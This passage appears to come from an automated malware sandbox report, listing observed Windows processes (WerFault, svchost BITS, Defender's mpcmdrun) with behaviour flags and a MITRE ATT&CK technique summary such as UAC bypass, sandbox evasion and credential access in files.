- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
PID:6628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 6272 -ip 6272
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1732

C:\Program Files\Windows Defender\mpcmdrun.exe
"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
1⤵
PID:6704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 7148 -ip 7148
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 5624 -ip 5624
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 5888 -ip 5888
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3632

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2904 -ip 2904
1⤵
PID:3740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:6968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:8160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:6708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:6268

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:6608

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:6944

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Bypass User Account Control

T1088

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery